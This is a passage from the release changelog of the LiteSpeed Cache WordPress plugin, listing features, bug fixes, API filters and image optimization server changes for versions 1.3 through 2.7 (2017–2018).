* <strong>Core</strong>: Always hook activation to make activation available through the front end.
* 🐞<strong>IAPI</strong>: Fixed a bug where environment report gave incorrect image optimization data.
* 🐞<strong>OLS</strong>: Fixed a bug where login cookie kept showing a warning on OpenLiteSpeed.
* 🐞<strong>Core</strong>: Fixed a bug where Import/Activation/CLI was missing CDN mapping settings.
* <strong>API</strong>: <strong>Filters `litespeed_cache_media_lazy_img_excludes/litespeed_optm_js_defer_exc` passed-in parameter is changed from string to array.</strong>

= 2.7 - Nov 2 2018 =
* 🌱: Separate Purge log for better debugging.
* <strong>3rd</strong>: Now fully compatible with WPML.
* <strong>IAPI</strong>: Sped up Image Optimization workflow.
* <strong>GUI</strong>: Current IP now shows in Debug settings.
* <strong>GUI</strong>: Space separated placeholder queue list for better look.
* <strong>IAPI</strong>: <strong>EU3 server IP changed to 165.227.131.98</strong>.

= 2.6.4.1 - Oct 25 2018 =
* 🔥🐞<strong>Media</strong>: Fixed a bug where the wrong table was used in the Image Optimization process.
* <strong>IAPI</strong>: IAPI v2.6.4.1.

= 2.6.4 - Oct 24 2018 =
* 🌱: Ability to create custom default config options per hosting company.
* 🌱: Ability to generate mobile Critical CSS.
* 🐞<strong>Media</strong>: Fixed a bug where Network sites could incorrectly override optimized images.
* 🐞<strong>CDN</strong>: Fixed a bug where image URLs containing backslashes were matched.
* <strong>Cache</strong>: Added default Mobile UA config setting.
* <strong>GUI</strong>: Fixed unknown shortcut characters for non-English languages Setting tabs.

= 2.6.3 - Oct 18 2018 =
* 🌱: Ability to Reset All Options.
* 🌱<strong>CLI</strong>: Added new `lscache-admin reset_options` command.
* <strong>GUI</strong>: Added shortcuts for more of the Settings tabs.
* <strong>Media</strong>: Updated Lazy Load JS library to the most recent version.
* There is no longer any need to explicitly Save Settings upon Import.
* Remove Query String now will remove *all* query strings in JS/CSS static files.
* <strong>IAPI</strong>: Added summary info to debug log.

= 2.6.2 - Oct 11 2018 =
* <strong>Setting</strong>: Automatically correct invalid numeric values in configuration settings upon submit.
* 🐞<strong>Media</strong>: Fixed the issue where iframe lazy load was broken by latest Chrome release. (@ofmarconi)
* 🐞: Fixed an issue with Multisite where subsites failed to purge when only primary site has WooCommerce . (@kierancalv)

= 2.6.1 - Oct 4 2018 =
* 🌱: Ability to generate separate Critical CSS Cache for Post Types & URIs.
* <strong>API</strong>: Filter `litespeed_frontend_htaccess` for frontend htaccess path.
* <strong>Media</strong>: Removed responsive placeholder generation history to save space.

= 2.6.0.1 - Sep 24 2018 =
* 🔥🐞: Fixed an issue in responsive placeholder generation where redundant history data was being saved and using a lot of space.

= 2.6 - Sep 22 2018 =
* <strong>Vary</strong>: Moved `litespeed_cache_api_vary` hook outside of OLS condition for .htaccess generation.
* <strong>CDN</strong>: Trim spaces in original URL of CDN setting.
* <strong>API</strong>: New filter `litespeed_option_` to change all options dynamically.
* <strong>API</strong>: New `LiteSpeed_Cache_API::force_option()` to change all options dynamically.
* <strong>API</strong>: New `LiteSpeed_Cache_API::vary()` to set default vary directly for easier compaitiblity with WPML WooCommerce Multilingual.
* <strong>API</strong>: New `LiteSpeed_Cache_API::nonce()` to safely and easily allow caching of wp-nonce.
* <strong>API</strong>: New `LiteSpeed_Cache_API::hook_vary_add()` to add new vary.
* <strong>Optm</strong>: Changed HTML/JS/CSS optimization options assignment position from constructor to `finalize()`.
* <strong>Doc</strong>: Added nonce to FAQ and mentioned nonce in 3rd Party Compatibility section.
* <strong>GUI</strong>: Moved inline minify to under html minify due to the dependency.
* <strong>3rd</strong>: Cached Aelia CurrencySwitcher by default.
* 🐞: Fixed issue where enabling remote JQuery caused missing jquery-migrate library error.

= 2.5.1 - Sep 11 2018 =
* 🌱 Responsive placeholder. (@szmigieldesign)
* Changed CSS::ccss_realpath function scope to private.
* 🐞 Detected JS filetype before optimizing to avoid PHP source conflict. (@closte #50)

= 2.5 - Sep 6 2018 =
* [IMPROVEMENT] <strong>CLI</strong> can now execute Remove Original Image Backups. (@Shon)
* [UPDATE] Fixed issue where WP-PostViews documentation contained extra slashes. (#545638)
* [UPDATE] Check LITESPEED_SERVER_TYPE for more accurate LSCache Disabled messaging.
* [IAPI] Fixed a bug where optimize/fetch error notification was not being received. (@LucasRolff)

= 2.4.4 - Aug 31 2018 =
* [NEW] <strong>CLI</strong> can now support image optimization. (@Shon)
* [IMPROVEMENT] <strong>GUI</strong> Cron/CLI will not create admin message anymore.
* [UPDATE] <strong>Media</strong> Fixed a PHP notice that appeared when pulling optimized images.
* [UPDATE] Fixed a PHP notice when detecting origin of ajax call. (@iosoft)
* [DEBUG] Debug log can now log referer URL.
* [DEBUG] Changes to options will now be logged.

= 2.4.3 - Aug 27 2018 =
* [NEW] <strong>Media</strong> Ability to inline image lazyload JS library. (@Music47ell)
* [IMPROVEMENT] <strong>Media</strong> Deleting images will now clear related optimization file & info too.
* [IMPROVEMENT] <strong>Media</strong> Non-image postfix data will now be bypassed before sending image optimization request.
* [BUGFIX] <strong>CDN</strong> CDN URL will no longer be replaced during admin ajax call. (@pankaj)
* [BUGFIX] <strong>CLI</strong> WPCLI can now save options without incorrectly clearing textarea items. (@Shon)
* [GUI] Moved Settings above Manage on the main menu.

= 2.4.2 - Aug 21 2018 =
* [IMPROVEMENT] <strong>Media</strong> Sped up Image Optimization process by replacing IAPI server pull communication.
* [IMPROVEMENT] <strong>Media</strong> Ability to delete optimized WebP/original image by item in Media Library. (@redgoodapple)
* [IMPROVEMENT] <strong>CSS Optimize</strong> Generate new optimized CSS name based on purge timestamp. Allows CSS cache to be cleared for visitors. (@bradbrownmagic)
* [IMPROVEMENT] <strong>API</strong> added litespeed_img_optm_options_per_image. (@gintsg)
* [UPDATE] Stopped showing "No Image Found" message when all images have finished optimization. (@knutsp)
* [UPDATE] Improved a PHP warning when saving settings. (@sergialarconrecio)
* [UPDATE] Changed backend adminbar icon default behavior from Purge All to Purge LSCache.
* [UPDATE] Clearing CCSS cache will clear unfinished queue too.
* [UPDATE] Added "$" exact match when adding URL by frontend adminbar dropdown menu, to avoid affecting any sub-URLs.
* [UPDATE] Fixed IAPI error message showing array bug. (@thiomas)
* [UPDATE] Debug Disable All will do a Purge All.
* [UPDATE] <strong>Critical CSS server IP changed to 142.93.3.57</strong>.
* [GUI] Showed plugin update link for IAPI version message.
* [GUI] Bypassed null IAPI response message.
* [GUI] Grouped related settings with indent.
* [IAPI] Added 503 handler for IAPI response.
* [IAPI] IAPI v2.4.2.
* [IAPI] <strong>Center Server IP Changed from 34.198.229.186 to 142.93.112.87</strong>.

= 2.4.1 - Jul 19 2018 =
* [NEW FEATURE] <strong>Media</strong> Auto Level Up. Auto refill credit.
* [NEW FEATURE] <strong>Media</strong> Auto delete original backups after pulled. (@borisov87 @JMCA2)
* [NEW FEATURE] <strong>Media</strong> Auto request image optimization. (@ericsondr)
* [IMPROVEMENT] <strong>Media</strong> Fetch 404 error will notify client as other errors.
* [IMPROVEMENT] <strong>Media</strong> Support WebP for PageSpeed Insights. (@LucasRolff)
* [BUGFIX] <strong>CLI</strong> Fixed the issue where CLI import/export caused certain textarea settings to be lost. (#767519)
* [BUGFIX] <strong>CSS Optimize</strong> Fixed the issue that duplicated optimized CSS and caused rapid expansion of CSS cache folder.
* [GUI] <strong>Media</strong> Refactored operation workflow and interface.
* [UPDATE] <strong>Media</strong> Set timeout seconds to avoid pulling timeout. (@Jose)
* [UPDATE] <strong>CDN</strong>Fixed the notice when no path is in URL. (@sabitkamera)
* [UPDATE] <strong>Media</strong> Auto correct credits when pulling.
* [UPDATE] <strong>GUI</strong> Removed redundant double quote in gui.cls. (@DaveyJake)
* [IAPI] IAPI v2.4.1.
* [IAPI] Allow new error status notification and success message from IAPI.

= 2.4 - Jul 2 2018 =
* [NEW FEATURE] <strong>Media</strong> Added lossless optimization.
* [NEW FEATURE] <strong>Media</strong> Added Request Original Images ON/OFF.
* [NEW FEATURE] <strong>Media</strong> Added Request WebP ON/OFF. (@JMCA2)
* [IMPROVEMENT] <strong>Media</strong> Improved optimization tools to archive maximum compression and score.
* [IMPROVEMENT] <strong>Media</strong> Improved speed of image pull.
* [IMPROVEMENT] <strong>Media</strong> Automatically recover credit after pulled.
* [REFACTOR] <strong>Config</strong> Separated configure const class.
* [BUGFIX] <strong>Report</strong> Report can be sent successfully with emoji now. (@music47ell)
* [IAPI] New Europe Image Optimization server (EU3/EU4).
* [IAPI] New America Image Optimization server (US3/US4/US5/US6).
* [IAPI] New Asian Image Optimization server (AS3).
* [IAPI] Refactored optimization process.
* [IAPI] Increased credit limit.
* [IAPI] Removed request interval limit.
* [IAPI] IAPI v2.4.
* <strong>We strongly recommended that you re-optimize your image library to get a better compression result</strong>.

= 2.3.1 - Jun 18 2018 =
* [IMPROVEMENT] New setting to disable Generate Critical CSS. (@cybmeta)
* [IMPROVEMENT] Added filter to can_cdn/can_optm check. (@Jacob)
* [UPDATE] *Critical CSS* Added 404 css. Limit cron interval.
* [UPDATE] AJAX will not bypass CDN anymore by default. (@Jacob)
* [GUI] Show Disable All Features warning if it is on in Debug tab.

= 2.3 - Jun 13 2018 =
* [NEW FEATURE] Automatically generate critical CSS. (@joeee @ivan_ivanov @3dseo)
* [BUGFIX] "Mark this page as..." from dropdown menu will not reset settings anymore. (@cbratschi)

= 2.2.7 - Jun 4 2018 =
* [IMPROVEMENT] Improved redirection for manual image pull to avoid too many redirections warning.
* [IAPI] Increased credit limit.
* [BUGFIX] Fixed 503 error when enabling log filters in Debug tab. (#525206)
* [UPDATE] Improve compatibility when using sitemap url on servers with allow_url_open off.
* [UPDATE] Removed Crawler HTTP2 option due to causing no-cache blacklist issue for certain environments.
* [UPDATE] Privacy policy can be now translated. (@Josemi)
* [UPDATE] IAPI Increased default img request max to 3000.

= 2.2.6 - May 24 2018 =
* [NEW FEATURE] Original image backups can be removed now. (@borisov87 @JMCA2)
* [BUGFIX] Role Excludes in Tuning tab can save now. (@pako69)
* [UPDATE] Added privacy policy support.

= 2.2.5 - May 14 2018 =
* [IAPI] <strong>Image Optimization</strong> New Asian Image Optimization server (AS2).
* [INTEGRATION] Removed wpForo 3rd party file. (@massimod)

= 2.2.4 - May 7 2018 =
* [IMPROVEMENT] Improved compatibility with themes using the same js_min library. (#129093 @Darren)
* [BUGFIX] Fixed a bug when checking image path for dynamic files. (@miladk)
* [INTEGRATION] Compatibility with Universal Star Rating. (@miladk)

= 2.2.3 - Apr 27 2018 =
* [NEW FEATURE] WebP For Extra srcset setting in Media tab. (@vengen)
* [REFACTOR] Removed redundant LS consts.
* [REFACTOR] Refactored adv_cache generation flow.
* [BUGFIX] Fixed issue where inline JS minify exception caused a blank page. (@oomskaap @kenb1978)
* [UPDATE] Changed HTTP/2 Crawl default value to OFF.
* [UPDATE] Added img.data-src to default WebP replacement value for WooCommerce WebP support.
* [UPDATE] Detached crawler from LSCache LITESPEED_ON status.
* [API] Improved ESI API to honor the cache control in ESI wrapper.
* [API] Added LITESPEED_PURGE_SILENT const to bypass the notification when purging
* [INTEGRATION] Fixed issue with nonce expiration when using ESI API. (#923505 @Dan)
* [INTEGRATION] Improved compatibility with Ninja Forms by bypassing non-javascript JS from inline JS minify.
* [INTEGRATION] Added a hook for plugins that change the CSS/JS path e.g. Hide My WordPress.

= 2.2.2 - Apr 16 2018 =
* [NEW FEATURE] WebP Attribute To Replace setting in Media tab. (@vengen)
* [IMPROVEMENT] Generate adv_cache file automatically when it is lost.
* [IMPROVEMENT] Improved compatibility with ajax login. (@veganostomy)
* [UPDATE] Added object cache lib check in case user downgrades LSCWP to non-object-cache versions.
* [UPDATE] Avoided infinite loop when users enter invalid hook values in Purge All Hooks settings.
* [UPDATE] Updated log format in media&cdn class.
* [UPDATE] Added more items to Report.

= 2.2.1 - Apr 10 2018 =
* [NEW FEATURE] Included Directories setting in CDN tab. (@Dave)
* [NEW FEATURE] Purge All Hooks setting in Advanced tab.
* [UPDATE] Added background-image WebP replacement support. (@vengen)
* [UPDATE] Show recommended values for textarea items in settings.
* [UPDATE] Moved CSS/JS optimizer log to Advanced level.
* [INTEGRATION] Added WebP support for Avada Fusion Sliders. (@vengen)

= 2.2.0.2 - Apr 3 2018 =
* [HOTFIX] <strong>Object Cache</strong> Fixed the PHP warning caused by previous improvement to Object Cache.

= 2.2.0.1 - Apr 3 2018 =
* [HOTFIX] Object parameter will no longer cause warnings to be logged for Purge and Cache classes. (@kelltech @khrifat)
* [UPDATE] Removed duplicated del_file func from Object Cache class.
* [BUGFIX] `CLI` no longer shows 400 error upon successful result.

= 2.2 - Apr 2 2018 =
* [NEW FEATURE] <strong>Debug</strong> Disable All Features setting in Debug tab. (@monarobase)
* [NEW FEATURE] <strong>Cache</strong> Force Cacheable URIs setting in Excludes tab.
* [NEW FEATURE] <strong>Purge</strong> Purge all LSCache and other caches in one link.
* [REFACTOR] <strong>Purge</strong> Refactored Purge class.
* [BUGFIX] Query strings in DoNotCacheURI setting now works.
* [BUGFIX] <strong>Cache</strong> Mobile cache compatibility with WebP vary. (@Shivam #987121)
* [UPDATE] <strong>Purge</strong> Moved purge_all to Purge class from core class.
* [API] Set cacheable/Set force cacheable. (@Jacob)

= 2.1.2 - Mar 28 2018 =
* [NEW FEATURE] <strong>Image Optimization</strong> Clean Up Unfinished Data feature.
* [IAPI] IAPI v2.1.2.
* [IMPROVEMENT] <strong>CSS/JS Minify</strong> Reduced loading time significantly by improving CSS/JS minify loading process. (@kokers)
* [IMPROVEMENT] <strong>CSS/JS Minify</strong> Cache empty JS Minify content. (@kokers)
* [IMPROVEMENT] <strong>Cache</strong> Cache 301 redirect when scheme/host are same.
* [BUGFIX] <strong>Media</strong> Lazy load now can support WebP. (@relle)
* [UPDATE] <strong>CSS/JS Optimize</strong> Serve static files for CSS async & lazy load JS library.
* [UPDATE] <strong>Report</strong> Appended Basic/Advanced View setting to Report.
* [UPDATE] <strong>CSS/JS Minify</strong> Removed zero-width space from CSS/JS content.
* [GUI] Added Purge CSS/JS Cache link in Admin.

= 2.1.1.1 - Mar 21 2018 =
* [BUGFIX] Fixed issue where activation failed to add rules to .htaccess.
* [BUGFIX] Fixed issue where 304 header was blank on feed page refresh.

= 2.1.1 - Mar 20 2018 =
* [NEW FEATURE] <strong>Browser Cache</strong> Unlocked for non-LiteSpeed users.
* [IMPROVEMENT] <strong>Image Optimization</strong> Fixed issue where images with bad postmeta value continued to show in not-yet-requested queue.

= 2.1 - Mar 15 2018 =
* [NEW FEATURE] <strong>Image Optimization</strong> Unlocked for non-LiteSpeed users.
* [NEW FEATURE] <strong>Object Cache</strong> Unlocked for non-LiteSpeed users.
* [NEW FEATURE] <strong>Crawler</strong> Unlocked for non-LiteSpeed users.
* [NEW FEATURE] <strong>Database Cleaner and Optimizer</strong> Unlocked for non-LiteSpeed users.
* [NEW FEATURE] <strong>Lazy Load Images</strong> Unlocked for non-LiteSpeed users.
* [NEW FEATURE] <strong>CSS/JS/HTML Minify/Combine Optimize</strong> Unlocked for non-LiteSpeed users.
* [IAPI] IAPI v2.0.
* [IAPI] Increased max rows prefetch when client has additional credit.
* [IMPROVEMENT] <strong>CDN</strong> Multiple domains may now be used.
* [IMPROVEMENT] <strong>Report</strong> Added WP environment constants for better debugging.
* [REFACTOR] Separated Cloudflare CDN class.
* [BUGFIX] <strong>Image Optimization</strong> Fixed issue where certain MySQL version failed to create img_optm table. (@philippwidmer)
* [BUGFIX] <strong>Image Optimization</strong> Fixed issue where callback validation failed when pulling and sending request simultaneously.
* [GUI] Added Slack community banner.
* [INTEGRATION] CDN compatibility with WPML multiple domains. (@egemensarica)

= 2.0 - Mar 7 2018 =
* [NEW FEATURE] <strong>Image Optimization</strong> Added level up guidance.
* [REFACTOR] <strong>Image Optimization</strong> Refactored Image Optimization class.
* [IAPI] <strong>Image Optimization</strong> New European Image Optimization server (EU2).
* [IMPROVEMENT] <strong>Image Optimization</strong> Manual pull action continues pulling until complete.
* [IMPROVEMENT] <strong>CDN</strong> Multiple CDNs can now be randomized for a single resource.
* [IMPROVEMENT] <strong>Image Optimization</strong> Improved compatibility of long src images.
* [IMPROVEMENT] <strong>Image Optimization</strong> Reduced runtime load.
* [IMPROVEMENT] <strong>Image Optimization</strong> Avoid potential loss/reset of notified images status when pulling.
* [IMPROVEMENT] <strong>Image Optimization</strong> Avoid duplicated optimization for multiple records in Media that have the same image source.
* [IMPROVEMENT] <strong>Image Optimization</strong> Fixed issue where phantom images continued to show in not-yet-requested queue.
* [BUGFIX] <strong>Core</strong> Improved compatibility when upgrading outside of WP Admin. (@jikatal @TylorB)
* [BUGFIX] <strong>Crawler</strong> Improved HTTP/2 compatibility to avoid erroneous blacklisting.
* [BUGFIX] <strong>Crawler</strong> Changing Delay setting will use server variable for min value validation if set.
* [UPDATE] <strong>Crawler</strong> Added HTTP/2 protocol switch in the Crawler settings.
* [UPDATE] Removed unnecessary translation strings.
* [GUI] Display translated role group name string instead of English values. (@Richard Hordern)
* [GUI] Added Join LiteSpeed Slack link.
* [GUI] <strong>Import / Export</strong> Cosmetic changes to Import Settings file field.
* [INTEGRATION] Improved compatibility with WPML Media for Image Optimization. (@szmigieldesign)

= 1.9.1.1 - February 20 2018 =
* [Hotfix] Removed empty crawler when no role simulation is set.

= 1.9.1 - February 20 2018 =
* [NEW FEATURE] Role Simulation crawler.
* [NEW FEATURE] WebP multiple crawler.
* [NEW FEATURE] HTTP/2 support for crawler.
* [BUGFIX] Fixed a js bug with the auto complete mobile user agents field when cache mobile is turned on.
* [BUGFIX] Fixed a constant undefined warning after activation.
* [GUI] Sitemap generation settings are no longer hidden when using a custom sitemap.

= 1.9 - February 12 2018 =
* [NEW FEATURE] Inline CSS/JS Minify.
* [IMPROVEMENT] Removed Composer vendor to thin the plugin folder.
* [UPDATE] Tweaked H2 to H1 in Admin headings for accessibility. (@steverep)
* [GUI] Added Mobile User Agents to basic view.
* [GUI] Moved Object Cache & Browser Cache from Cache tab to Advanced tab.
* [GUI] Moved LSCache Purge All from Adminbar to dropdown menu.

= 1.8.3 - February 2 2018 =
* [NEW FEATURE] Crawler server variable limitation support.
* [IMPROVEMENT] Added Store Transients option to fix transients missing issue when Cache Wp-Admin setting is OFF.
* [IMPROVEMENT] Tweaked ARIA support. (@steverep)
* [IMPROVEMENT] Used strpos instead of strncmp for performance. (@Zach E)
* [BUGFIX] Transient cache can now be removed when the Cache Wp-Admin setting is ON in Object Cache.
* [BUGFIX] Network sites can now save Advanced settings.
* [BUGFIX] Media list now shows in network sites.
* [BUGFIX] Show Crawler Status button is working again.
* [UPDATE] Fixed a couple of potential PHP notices in the Network cache tab and when no vary group is set.
* [GUI] Added Learn More link to all setting pages.

= 1.8.2 - January 29 2018 =
* [NEW FEATURE] Instant Click in the Advanced tab.
* [NEW FEATURE] Import/Export settings.
* [NEW FEATURE] Opcode Cache support.
* [NEW FEATURE] Basic/Advanced setting view.
* [IMPROVEMENT] Added ARIA support in widget settings.
* [BUGFIX] Multiple WordPress instances with same Object Cache address will no longer see shared data.
* [BUGFIX] WebP Replacement may now be set at the Network level.
* [BUGFIX] Object Cache file can now be removed at the Network level uninstall.

= 1.8.1 - January 22 2018 =
* [NEW FEATURE] Object Cache now supports Redis.
* [IMPROVEMENT] Memcached Object Cache now supports authorization.
* [IMPROVEMENT] A 500 error will no longer be encountered when turning on Object Cache without the proper PHP extension installed.
* [BUGFIX] Object Cache settings can now be saved at the Network level.
* [BUGFIX] Mu-plugin now supports Network setting.
* [BUGFIX] Fixed admin bar showing inaccurate Edit Page link.
* [UPDATE] Removed warning information when no Memcached server is available.

= 1.8 - January 17 2018 =
* [NEW FEATURE] Object Cache.
* [REFACTOR] Refactored Log class.
* [REFACTOR] Refactored LSCWP basic const initialization.
* [BUGFIX] Fixed Cloudflare domain search breaking when saving more than 50 domains under a single account.
* [UPDATE] Log filter settings are now their own item in the wp-option table.

= 1.7.2 - January 5 2018 =
* [NEW FEATURE] Cloudflare API support.
* [IMPROVEMENT] IAPI key can now be reset to avoid issues when domain is changed.
* [BUGFIX] Fixed JS optimizer breaking certain plugins JS.
* [UPDATE] Added cdn settings to environment report.
* [GUI] Added more shortcuts to backend adminbar.
* [INTEGRATION] WooCommerce visitors are now served from public cache when cart is empty.

= 1.7.1.1 - December 29 2017 =
* [BUGFIX] Fixed an extra trailing underscore issue when saving multiple lines with DNS Prefetch.
* [UPDATE] Cleaned up unused dependency vendor files.

= 1.7.1 - December 28 2017 =
* [NEW FEATURE] Added DNS Prefetch setting on the Optimize page.
* [NEW FEATURE] Added Combined File Max Size setting on the Tuning page.
* [IMPROVEMENT] Improved JS/CSS minify to achieve higher page scores.
* [IMPROVEMENT] Optimized JS/CSS files will not be served from private cache for OLS or with ESI off.
* [UPDATE] Fixed a potential warning for new installations on the Settings page.
* [UPDATE] Fixed an issue with guest users occasionally receiving PHP warnings.
* [BUGFIX] Fixed a bug with the Improve HTTPS Compatibility setting failing to save.
* Thanks to all of our users for your encouragement and support! Happy New Year!
* PS: Lookout 2018, we're back!

= 1.7 - December 22 2017 =
* [NEW FEATURE] Drop Query Strings setting in the Cache tab.
* [NEW FEATURE] Multiple CDN Mapping in the CDN tab.
* [IMPROVEMENT] Improve HTTP/HTTPS Compatibility setting in the Advanced tab.
* [IMPROVEMENT] Keep JS/CSS original position in HTML when excluded in setting.
* [IAPI] Reset client level credit after Image Optimization data is destroyed.
* [REFACTOR] Refactored build_input/textarea functions in admin_display class.
* [REFACTOR] Refactored CDN class.
* [GUI] Added a notice to Image Optimization and Crawler to warn when cache is disabled.
* [GUI] Improved image optimization indicator styles in Media Library List.

= 1.6.7 - December 15 2017 =
* [IAPI] Added ability to scan for new image thumbnail sizes and auto-resend image optimization requests.
* [IAPI] Added ability to destroy all optimization data.
* [IAPI] Updated IAPI to v1.6.7.
* [INTEGRATION] Fixed certain 3rd party plugins calling REST without user nonce causing logged in users to be served as guest.

= 1.6.6.1 - December 8 2017 =
* [IAPI] Limit first-time submission to one image group for test-run purposes.
* [BUGFIX] Fixed vary group generation issue associated with custom user role plugins.
* [BUGFIX] Fixed WooCommerce issue where logged-in users were erroneously purged when ESI is off.
* [BUGFIX] Fixed WooCommerce cache miss issue when ESI is off.

= 1.6.6 - December 6 2017 =
* [NEW FEATURE] Preserve EXIF in Media setting.
* [NEW FEATURE] Clear log button in Debug Log Viewer.
* [IAPI] Fixed notified images resetting to previous status when pulling.
* [IAPI] Fixed HTTPS compatibility for image optimization initialization.
* [IAPI] An error message is now displayed when image optimization request submission is bypassed due to a lack of credit.
* [IAPI] IAPI v1.6.6.
* [IMPROVEMENT] Support JS data-no-optimize attribute to bypass optimization.
* [GUI] Added image group wiki link.
* [INTEGRATION] Improved compatibility with Login With Ajax.
* [INTEGRATION] Added function_exists check for WooCommerce to avoid 500 errors.

= 1.6.5.1 - December 1 2017 =
* [HOTFIX] Fixed warning message on Edit .htaccess page.

= 1.6.5 - November 30 2017 =
* [IAPI] Manually pull image optimization action button.
* [IAPI] Automatic credit system for image optimization to bypass unfinished image optimization error.
* [IAPI] Notify failed images from LiteSpeed's Image Server.
* [IAPI] Reset/Clear failed images feature.
* [IAPI] Redesigned report page.
* [REFACTOR] Moved pull_img logic from admin_api to media.
* [BUGFIX] Fixed a compatibility issue for clients who have allow_url_open setting off.
* [BUGFIX] Fixed logged in users sometimes being served from guest cache.
* [UPDATE] Environment report is no longer saved to a file.
* [UPDATE] Removed crawler reset notification.
* [GUI] Added more details on image optimization.
* [GUI] Removed info page from admin menu.
* [GUI] Moved environment report from network level to single site level.
* [GUI] Crawler time added in a user friendly format.
* [INTEGRATION] Improved compatibility with FacetWP json call.

= 1.6.4 - November 22 2017 =
* [NEW FEATURE] Send env reports privately with a new built-in report number referral system.
* [IAPI] Increased request timeout to fix a cUrl 28 timeout issue.
* [BUGFIX] Fixed a TTL max value validation bug.
* [INTEGRATION] Improved Contact Form 7 REST call compatibility for logged in users.
* Thanks for all your ratings. That encouraged us to be more diligent. Happy Thanksgiving.

= 1.6.3 - November 17 2017 =
* [NEW FEATURE] Only async Google Fonts setting.
* [NEW FEATURE] Only create WebP images when optimizing setting.
* [NEW FEATURE] Batch switch images to original/optimized versions in Image Optimization.
* [NEW FEATURE] Browser Cache TTL setting.
* [NEW FEATURE] Cache WooCommerce Cart setting.
* [IMPROVEMENT] Moved optimized JS/CSS snippet in header html to after meta charset.
* [IMPROVEMENT] Added a constant for better JS/CSS optimization compatibility for different dir WordPress installation.
* [IAPI] Take over failed callback check instead of bypassing it.
* [IAPI] Image optimization requests are now limited to 500 images per request.
* [BUGFIX] Fixed a parsing failure bug not using attributes in html elements with dash.
* [BUGFIX] Fixed a bug causing non-script code to move to the top of a page when not using combination.
* [UPDATE] Added detailed logs for external link detection.
* [UPDATE] Added new lines in footer comment to avoid Firefox crash when enabled HTML minify.
* [API] `Purge private` / `Purge private all` / `Add private tag` functions.
* [GUI] Redesigned image optimization operation links in Media Lib list.
* [GUI] Tweaked wp-admin form save button position.
* [GUI] Added "learn more" link for image optimization.

= 1.6.2.1 - November 6 2017 =
* [INTEGRATION] Improved compatibility with old WooCommerce versions to avoid unknown 500 errors.
* [BUGFIX] Fixed WebP images sometimes being used in non-supported browsers.
* [BUGFIX] Kept query strings for HTTP/2 push to avoid re-fetching pushed sources.
* [BUGFIX] Excluded JS/CSS from HTTP/2 push when using CDN.
* [GUI] Fixed a typo in Media list.
* [GUI] Made more image optimization strings translatable.
* [GUI] Updated Tuning description to include API documentation.

= 1.6.2 - November 3 2017 =
* [NEW FEATURE] Do Not Cache Roles.
* [NEW FEATURE] Use WebP Images for supported browsers.
* [NEW FEATURE] Disable Optimization Poll ON/OFF Switch in Media tab.
* [NEW FEATURE] Revert image optimization per image in Media list.
* [NEW FEATURE] Disable/Enable image WebP per image in Media list.
* [IAPI] Limit optimized images fetching cron to a single process.
* [IAPI] Updated IAPI to v1.6.2.
* [IAPI] Fixed repeating image request issue by adding a failure status to local images.
* [REFACTOR] Refactored login vary logic.

= 1.6.1 - October 29 2017 =
* [IAPI] Updated LiteSpeed Image Optimization Server API to v1.6.1.

= 1.6 - October 27 2017 =
* [NEW FEATURE] Image Optimization.
* [NEW FEATURE] Role Excludes for Optimization.
* [NEW FEATURE] Combined CSS/JS Priority.
* [IMPROVEMENT] Bypass CDN for login/register page.
* [UPDATE] Expanded ExpiresByType rules to include new font types. ( Thanks to JMCA2 )
* [UPDATE] Removed duplicated type param in admin action link.
* [BUGFIX] Fixed CDN wrongly replacing img base64 and "fake" src in JS.
* [BUGFIX] Fixed image lazy load replacing base64 src.
* [BUGFIX] Fixed a typo in Optimize class exception.
* [GUI] New Tuning tab in admin settings panel.
* [REFACTOR] Simplified router by reducing actions and adding types.
* [REFACTOR] Renamed `run()` to `finalize()` in buffer process.

= 1.5 - October 17 2017 =
* [NEW FEATURE] Exclude JQuery (to fix inline JS error when using JS Combine).
* [NEW FEATURE] Load JQuery Remotely.
* [NEW FEATURE] JS Deferred Excludes.
* [NEW FEATURE] Lazy Load Images Excludes.
* [NEW FEATURE] Lazy Load Image Placeholder.
* [IMPROVEMENT] Improved Lazy Load size attribute for w3c validator.
* [UPDATE] Added basic caching info and LSCWP version to HTML comment.
* [UPDATE] Added debug log to HTML detection.
* [BUGFIX] Fixed potential font CORS issue when using CDN.
* [GUI] Added API docs to setting description.
* [REFACTOR] Relocated all classes under includes with backwards compatibility.
* [REFACTOR] Relocated admin templates.

= 1.4 - October 11 2017 =
* [NEW FEATURE] Lazy load images/iframes.
* [NEW FEATURE] Clean CSS/JS optimizer data functionality in DB Optimizer panel.
* [NEW FEATURE] Exclude certain URIs from optimizer.
* [IMPROVEMENT] Improved optimizer HTML check compatibility to avoid conflicts with ESI functions.
* [IMPROVEMENT] Added support for using ^ when matching the start of a path in matching settings.
* [IMPROVEMENT] Added wildcard support in CDN original URL.
* [IMPROVEMENT] Moved optimizer table initialization to admin setting panel with failure warning.
* [UPDATE] Added a one-time welcome banner.
* [UPDATE] Partly relocated class: 'api'.
* [API] Added API wrapper for removing wrapped HTML output.
* [INTEGRATION] Fixed WooCommerce conflict with optimizer.
* [INTEGRATION] Private cache support for WooCommerce v3.2.0+.
* [GUI] Added No Optimization menu to frontend.

= 1.3.1.1 - October 6 2017 =
* [BUGFIX] Improved optimizer table creating process in certain database charset to avoid css/js minify/combination failure.

= 1.3.1 - October 5 2017 =
* [NEW FEATURE] Remove WP Emoji Option.
* [IMPROVEMENT] Separated optimizer data from wp_options to improve compatibility with backup plugins.
* [IMPROVEMENT] Enhanced crawler cron hook to prevent de-scheduling in some cases.
* [IMPROVEMENT] Enhanced Remove Query Strings to also remove Emoji query strings.
* [IMPROVEMENT] Enhanced HTML detection when extra spaces are present at the beginning.
* [UPDATE] Added private cache support for OLS.
* [BUGFIX] Self-redirects are no longer cached.
* [BUGFIX] Fixed css async lib warning when loading in HTTP/2 push.

= 1.3 - October 1 2017 =
* [NEW FEATURE] Added Browser Cache support.
* [NEW FEATURE] Added Remove Query Strings support.
* [NEW FEATURE] Added Remove Google Fonts support.
* [NEW FEATURE] Added Load CSS Asynchronously support.
* [NEW FEATURE] Added Load JS Deferred support.
* [NEW FEATURE] Added Critical CSS Rules support.
* [NEW FEATURE] Added Private Cached URIs support.
* [NEW FEATURE] Added Do Not Cache Query Strings support.
* [NEW FEATURE] Added frontend adminbar shortcuts ( Purge this page/Do Not Cache/Private cache ).
* [IMPROVEMENT] Do Not Cache URIs now supports full URLs.
* [IMPROVEMENT] Improved performance of Do Not Cache settings.
* [IMPROVEMENT] Encrypted vary cookie.
* [IMPROVEMENT] Enhanced HTML optimizer.
* [IMPROVEMENT] Limited combined file size to avoid heavy memory usage.
* [IMPROVEMENT] CDN supports custom upload folder for media files.
* [API] Added purge single post API.
